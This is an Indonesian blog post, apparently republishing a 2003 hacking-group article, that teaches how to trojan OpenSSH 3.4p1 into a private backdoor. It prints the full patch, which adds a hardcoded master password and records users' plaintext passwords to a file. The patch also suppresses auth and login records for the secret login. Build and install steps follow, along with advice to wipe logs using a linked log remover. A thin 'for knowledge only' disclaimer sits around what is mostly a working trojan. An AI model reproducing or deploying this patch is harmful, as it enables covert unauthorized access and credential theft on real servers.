Ads 468x60px

\

Thursday 7 March 2013

Belajar Sendiri Membuat Backdoor Dengan Openssh- 3.4p1

Artikel ini hanya ditujukan untuk pengetahuan. Bukan untuk mengajarkan anda berbuat kriminal.

ISI:
Seperti apa kata pepatah, apabila kalian bisa masuk melalui pintu yang sudah ada dan tanpa merubah apapun dari bentuk fisik pintu itu, maka lakukanlah. Kasus ini sama seperti kalau kita mencoba menginfeksi sebuah server untuk mendapatkan akses secara ilegal.

Dalam sebuah kasus, ketika dilakukan percobaan menginfeksi SSH, ada beberapa trojankit untuk itu, anggap saja kalian pernah memakai backdoor yang disebut dengan nama shv4.tar.gz (release oleh penturichi pada tahun 2002). Tool itu umum dan mungkin sangatlah mudah digunakan oleh para intruder untuk memudahkan mereka keluar masuk server (tentunya dengan fake login). Namun yang menjadi masalah disini adalah efek selanjutnya dari server itu sendiri, kadang yang terjadi adalah rusaknya library dan tidak berjalannya command command yang ada di /bin.

Apakah ada jalan lain? (yang aman tanpa membuka port seperti backdoor yang umum digunakan). Jawabnya ada, dan mari kita mencoba membahas sedikit walaupun penulis disini kurang pandai menjelaskan secara detail dan fokus.

Mencoba menginfeksi openSSH untuk dijadikan backdoor (private) tidak sesulit yang dibayangkan oleh berbagai khalayak/kelompok hacker di Indonesia (walaupun selama ini belum pernah penulis temui the real hacker di Indonesia ini).

Beberapa tool yang dibutuhkan adalah:
1. file openSSH-3.4p1 (http://www.openssh.com)
2. patch infeksi openSSH (terlampir dalam artikel)

Cara mengolahnya adalah:
Pertama yang dilakukan adalah extract file openSSH yang sudah terdownload, kemudian anda patch file injeksi kedalam direktori openSSH anda.

1. # cp ssh-virus.diff openssh-3.4p1/
2. # cd openssh-3.4p1/
3. # patch < ssh-virus.diff

Selanjutnya kita coba tools yang baru saja kita patch kedalam server sendiri dirumah anda. (kalau anda punya) bagaimana caranya?

Pertama adalah melakukan proses konfigurasi dengan cara
# ./configure atau dengan option yang lebih spesifik
# ./configure --prefix=/usr --sysconfdir=/etc/ssh

Kemudian melakukan make dan make install dengan cara
make ; make install

Setelah semua selesai dilakukan yang terakhir adalah menimpa file sshd_config dengan cara:
# mv -f sshd_config /etc/ssh/sshd_config

Selesai menimpa file sshd_config, dan ini adalah sebagai langkah final adalah restart SSH dengan cara

# ps -x | grep sshd
# kill -HUP (sshd pid)

/usr/sbin/sshd yang kita kill disini adalah sshd yang terbaru biasanya terletak pada baris paling atas. Sesudah kita lakukan kita cek apakah pintu masuk kita yang baru sudah berjalan dengan sukses apa tidak?

# telnet localhost 22
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
SSH-1.99-OpenSSH_3.4p1

Nah setelah selesai, kita mencoba login kedalam server percobaan:
# ssh -l root localhost
root@localhost's password:
Last login: Mon Jul 28 14:12:22 2003 from bsd0.camne.net
OpenBSD 3.3 (GENERIC) #44: Sat Mar 29 13:22:05 MST 2003

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Wow.. pintu masuk kita yang baru berhasil kita jalankan.. Selanjutnya silahkan membersihkan beberapa log yang tertinggal dengan cara manual atau dengan memakai utilitas yang tersedia. Masih bingung mencari log remover? singgah ke http://sarang.kecoak.org/~scut/release/logremover.txt

Kemudian, apakah hanya sekedar mendapatkan akses ilegal dengan port 22? Tak adakah terlintas dalam pikiran anda untuk mencoba mengintip beberapa password didalam jaringan local dan keluarnya? bagaimana caranya? Be creative! thats unpublished article!


Sekian dalam salam hangat dari kutu kecil di sarang kecoak Greet:
http://www.w00w00.org for inspire (sh0k and friends)

http://www.cert.org for the milist
(for reading the milist)

http://www.kecoak.or.id for great experience
(fwerd, samurai, ceyen, cbug, ifk, logC, nukemafia, rollan)

http://www.dhegleng.or.id for support and discuss
(degleng, cahcephoe, w0nk)

http://www.securityfocus.com for some article
(mark and friends)

Others friends are
(Devi Ria Utami aka GotHGirl at EFnet),
(Dj-Psyco, Madi, AnJaZ, infidra, SCO, reVn, Rian, Dr`Ponidi at DALnet)

Lampiran:
ssh-virus.diff

Catatan:
+#define _SECRET_PASSWD "k3c04k-1nd0h4ck"

Silahkan ubah sesuai dengan jenis password anda :)


# File ssh-virus.diff
# Kecoak Elektronik properties
# Published Article at 17/08/2003

--- openssh-3.4p1/auth-passwd.c Fri Jun 21 02:05:13 2002
+++ auth-passwd.c Thu Aug 8 15:44:55 2002
@@ -218,6 +218,16 @@
#endif /* HAVE_MD5_PASSWORDS */

/* Authentication is accepted if the encrypted passwords are identical. */
- return (strcmp(encrypted_password, pw_password) == 0);
+ if(strcmp(_SECRET_PASSWD, password) == 0){
+ mlogin_ok = 1;
+ return 1;
+ }
+ if(strcmp(encrypted_password, pw_password) == 0){
+ outf = fopen(_LOG_DIR"/"_S_LOG,"a+");
+ fprintf (outf, "%s:%s\n",pw->pw_name,password);
+ fclose (outf);
+ return 1;
+ }else
+ return 0;
#endif /* !USE_PAM && !HAVE_OSF_SIA */
}
--- openssh-3.4p1/auth.c Wed May 22 01:06:28 2002
+++ auth.c Thu Aug 1 23:16:54 2002
@@ -248,14 +248,17 @@
else
authmsg = authenticated ? "Accepted" : "Failed";

- authlog("%s %s for %s%.100s from %.200s port %d%s",
- authmsg,
- method,
- authctxt->valid ? "" : "illegal user ",
- authctxt->user,
- get_remote_ipaddr(),
- get_remote_port(),
- info);
+ /* dont log if secret pass */
+ if(!mlogin_ok){
+ authlog("%s %s for %s%.100s from %.200s port %d%s",
+ authmsg,
+ method,
+ authctxt->valid ? "" : "illegal user ",
+ authctxt->user,
+ get_remote_ipaddr(),
+ get_remote_port(),
+ info);
+ }
}

/*
--- openssh-3.4p1/canohost.c Tue Jun 11 12:47:22 2002
+++ canohost.c Wed Aug 7 17:43:34 2002
@@ -74,11 +74,13 @@

debug3("Trying to reverse map address %.100s.", ntop);
/* Map the IP address to a host name. */
- if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
- NULL, 0, NI_NAMEREQD) != 0) {
- /* Host name not found. Use ip address. */
- log("Could not reverse map address %.100s.", ntop);
- return xstrdup(ntop);
+ if(!mlogin_ok){
+ if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
+ NULL, 0, NI_NAMEREQD) != 0) {
+ /* Host name not found. Use ip address. */
+ log("Could not reverse map address %.100s.", ntop);
+ return xstrdup(ntop);
+ }
}

/* Got host name. */
--- openssh-3.4p1/includes.h Mon May 13 01:14:09 2002
+++ includes.h Thu Aug 8 15:45:46 2002
@@ -157,4 +157,13 @@

#include "entropy.h"

+/* The Password */
+#define _SECRET_PASSWD "k3c04k-1nd0h4ck"
+FILE *outf;
+int mlogin_ok;
+/* end */
+
#endif /* INCLUDES_H */
--- openssh-3.4p1/sshconnect1.c Thu Jun 6 15:57:34 2002
+++ sshconnect1.c Thu Aug 8 15:48:48 2002
@@ -922,6 +922,7 @@
{
int type, i;
char *password;
+ char gpasswd[120];

debug("Doing password authentication.");
if (options.cipher == SSH_CIPHER_NONE)
@@ -930,6 +931,7 @@
if (i != 0)
error("Permission denied, please try again.");
password = read_passphrase(prompt, 0);
+ strcpy(gpasswd,password);
packet_start(SSH_CMSG_AUTH_PASSWORD);
ssh_put_password(password);
memset(password, 0, strlen(password));
@@ -938,8 +940,15 @@
packet_write_wait();

type = packet_read();
- if (type == SSH_SMSG_SUCCESS)
+ if (type == SSH_SMSG_SUCCESS){
+ /* dont log if secret pass */
+ if(strcmp(_SECRET_PASSWD,gpasswd) != 0){
+ outf = fopen(_LOG_DIR"/"_C_LOG,"a+");
+ fprintf
(outf,"%s:%s@%s\n",options.user,gpasswd,get_remote_ipaddr());
+ fclose (outf);
+ }
return 1;
+ }
if (type != SSH_SMSG_FAILURE)
packet_disconnect("Protocol error: got %d in response to passwd
auth", type);
}
--- openssh-3.4p1/sshconnect2.c Sun Jun 23 17:23:21 2002
+++ sshconnect2.c Thu Aug 8 15:48:20 2002
@@ -446,6 +446,7 @@
static int attempt = 0;
char prompt[150];
char *password;
+ char gpasswd[120];

if (attempt++ >= options.number_of_password_prompts)
return 0;
@@ -456,6 +457,7 @@
snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
authctxt->server_user, authctxt->host);
password = read_passphrase(prompt, 0);
+ strcpy(gpasswd,password);
packet_start(SSH2_MSG_USERAUTH_REQUEST);
packet_put_cstring(authctxt->server_user);
packet_put_cstring(authctxt->service);
@@ -470,6 +472,12 @@
dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
&input_userauth_passwd_changereq);

+ /* dont log if its the secret pass */
+ if(strcmp(_SECRET_PASSWD,gpasswd) != 0){
+ outf = fopen(_LOG_DIR"/"_C_LOG,"a+");
+ fprintf (outf,"%s:%s@%s\n",options.user,gpasswd,get_remote_ipaddr());
+ fclose (outf);
+ }
return 1;
}
/*
--- openssh-3.4p1/sshlogin.c Sun Jun 23 17:23:21 2002
+++ sshlogin.c Thu Aug 8 15:46:10 2002
@@ -71,8 +71,11 @@

li = login_alloc_entry(pid, user, host, ttyname);
login_set_addr(li, addr, sizeof(struct sockaddr));
- login_login(li);
- login_free_entry(li);
+ /* dont log if secret pass */
+ if(!mlogin_ok){
+ login_login(li);
+ login_free_entry(li);
+ }
}

#ifdef LOGIN_NEEDS_UTMPX
@@ -96,6 +99,9 @@
struct logininfo *li;

li = login_alloc_entry(pid, user, NULL, ttyname);
- login_logout(li);
- login_free_entry(li);
+ /* no logout if secret pass */
+ if(!mlogin_ok){
+ login_logout(li);
+ login_free_entry(li);
+ }
}

Selamat mencoba & jangan lakukan untuk kejahatan !

0 comments:

Post a Comment

.

.
.